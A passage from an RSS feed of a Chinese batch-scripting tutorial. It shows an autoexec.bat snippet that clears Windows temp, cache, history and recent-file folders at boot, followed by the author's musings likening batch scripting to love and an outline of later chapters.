if exist c:&#92;windows&#92;temp&#92;*.* del c:&#92;windows&#92;temp&#92;*.*<br />
if exist c:&#92;windows&#92;Tempor~1&#92;*.* del c:&#92;windows&#92;Tempor~1&#92;*.*<br />
if exist c:&#92;windows&#92;History&#92;*.* del c:&#92;windows&#92;History&#92;*.*<br />
if exist c:&#92;windows&#92;recent&#92;*.* del c:&#92;windows&#92;recent&#92;*.* </p>
<p>　　将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。</p>
<p>　　怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。</p>
<p>　　为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用“专业”的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我TMD怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。</p>
<p>天气预报：</p>
<p>　　下一章大家将看到的，是结合实例讲解几个在批处理中最常见最简单的命令；第三章将介继续绍一些其他在批处理中担任重要角色的命令，可以说从技术角度出发，这一章算是重点；第四章将着重介绍组合命令和管道命令，以及如何结合其他命令和批处理脚本参数，让批处理发挥更大的作用；在第五章中，将介绍如何利用批处理操作注册表，以及批处理的综合应用；第六章将介绍批处理在病毒、网络安全以及其他方面的应用。也许还有第七章第八章甚至更多，因为学无止境的道理大家都懂，但我怕到时候会写不下去，天资有限也是一件很无奈的事情。但我会尽力的。</p>
]]></content:encoded>
			<wfw:commentRss>https://falconia.org/blog/archives/24/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
